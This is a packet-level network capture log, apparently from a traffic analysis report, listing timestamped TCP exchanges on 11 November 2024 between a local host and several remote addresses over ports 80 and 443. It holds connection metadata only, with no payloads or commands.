Nov 11, 2024 19:17:53.748775005 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748790979 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748799086 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748816013 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748828888 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748835087 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748851061 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748861074 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748866081 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748873949 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748878956 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748893976 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748895884 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748910904 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748918056 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748925924 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748938084 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748940945 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748950958 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748963118 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748966932 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748972893 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748986006 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.748991013 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.748997927 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749010086 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749011040 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749025106 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749027967 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749039888 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749051094 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749052048 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749063969 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749077082 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749088049 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749097109 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749103069 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749114990 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749115944 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749125957 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749130011 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749138117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749147892 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749166012 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749183893 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749195099 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749201059 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749212980 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749217033 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749226093 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749238014 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749241114 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749249935 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749260902 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749272108 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749279976 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749283075 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749294043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749300957 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749316931 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749317884 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749330044 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749335051 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749347925 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749360085 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749382973 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749387980 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749401093 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749411106 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749411106 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749423027 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749433041 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749438047 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749448061 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749466896 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749468088 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749469042 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749489069 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749499083 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749504089 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749504089 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749516010 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749521971 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749528885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749540091 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749557972 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749569893 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749577045 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749579906 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749593019 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749597073 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749614954 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749625921 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749635935 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749644995 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749648094 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749660015 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749667883 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749670982 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749677896 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749684095 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749710083 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749716997 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749723911 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749733925 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749736071 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749747038 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749762058 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749773026 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749784946 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749788046 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749795914 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749800920 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749808073 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749819994 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749820948 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749834061 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749844074 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749849081 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749854088 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749861002 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749865055 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749885082 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749895096 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749905109 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749916077 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749927044 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749928951 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749928951 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749938011 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749943972 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749949932 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749953985 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.749963045 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.749994993 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750001907 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750008106 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750020027 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750030041 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750056982 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750061989 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750068903 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750080109 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750091076 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750093937 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750102043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750116110 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750128984 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750139952 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750154018 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750157118 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750169039 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750179052 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750179052 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750191927 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750200987 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750202894 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750215054 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750224113 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750226974 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750238895 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750238895 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750263929 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750288963 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750314951 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750338078 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750349045 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750358105 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750370979 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750379086 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750386953 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750390053 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750400066 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750411987 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750422001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750422955 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750433922 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750444889 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750454903 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750468016 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750469923 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750485897 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750494957 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750499010 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750510931 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750520945 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750526905 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750538111 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750545025 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750550032 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750560045 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750560999 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750572920 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750583887 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750586033 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750606060 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750610113 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750617027 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750622988 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750633001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750648022 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750674963 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750740051 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750775099 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750806093 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750816107 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750863075 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750874043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750874043 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750884056 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750895977 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750907898 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.750909090 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750931978 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.750957966 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751084089 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751095057 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751105070 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751120090 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751142979 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751171112 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751182079 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751193047 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751207113 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751230001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751234055 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751241922 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751252890 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751266956 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751276016 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751279116 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751285076 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751317024 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751333952 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751344919 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751355886 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751370907 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751372099 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751394987 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751394987 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751408100 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751415014 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751419067 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751435041 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751441956 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751456976 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751461029 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751476049 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751486063 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751487970 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751498938 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751502037 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751516104 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751523018 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751528978 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751532078 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751555920 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751574993 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751579046 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751586914 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751597881 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751607895 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751611948 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751620054 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751626968 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751631975 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751646996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751655102 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751669884 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751673937 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751686096 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751694918 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751696110 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751703978 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751708031 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751714945 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751718998 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751729012 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751732111 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751743078 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751745939 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751777887 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751785994 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751790047 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751801014 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751807928 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751812935 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:53.751830101 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.751852989 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.810584068 CET	443	49869	23.33.40.145	192.168.2.7
Nov 11, 2024 19:17:53.810975075 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.810997009 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.811003923 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.811017036 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.811050892 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.811058044 CET	49867	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.811084032 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.811134100 CET	49867	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.811134100 CET	49867	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.812575102 CET	443	49870	23.33.40.145	192.168.2.7
Nov 11, 2024 19:17:53.813849926 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.813883066 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.813891888 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.813910961 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.813935041 CET	49866	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.813950062 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.813961983 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.813973904 CET	49866	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.814016104 CET	49866	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.830795050 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.830974102 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:53.860044956 CET	49869	443	192.168.2.7	23.33.40.145
Nov 11, 2024 19:17:53.860070944 CET	443	49869	23.33.40.145	192.168.2.7
Nov 11, 2024 19:17:53.861258984 CET	443	49869	23.33.40.145	192.168.2.7
Nov 11, 2024 19:17:53.861346006 CET	49869	443	192.168.2.7	23.33.40.145
Nov 11, 2024 19:17:53.868052959 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.868081093 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.868130922 CET	49866	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.868145943 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.868166924 CET	49866	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.868192911 CET	49866	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.868839979 CET	443	49866	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.868891954 CET	49866	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.868964911 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.869005919 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.869040012 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.869043112 CET	49867	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.869061947 CET	443	49867	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:53.869074106 CET	49867	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.869088888 CET	49867	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.869129896 CET	49867	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:53.873975039 CET	49870	443	192.168.2.7	23.33.40.145
Nov 11, 2024 19:17:53.873997927 CET	443	49870	23.33.40.145	192.168.2.7
Nov 11, 2024 19:17:53.875197887 CET	443	49870	23.33.40.145	192.168.2.7
Nov 11, 2024 19:17:53.875214100 CET	443	49870	23.33.40.145	192.168.2.7
Nov 11, 2024 19:17:53.875273943 CET	49870	443	192.168.2.7	23.33.40.145
Nov 11, 2024 19:17:53.875485897 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:53.875524998 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:53.875658035 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:53.893881083 CET	49869	443	192.168.2.7	23.33.40.145
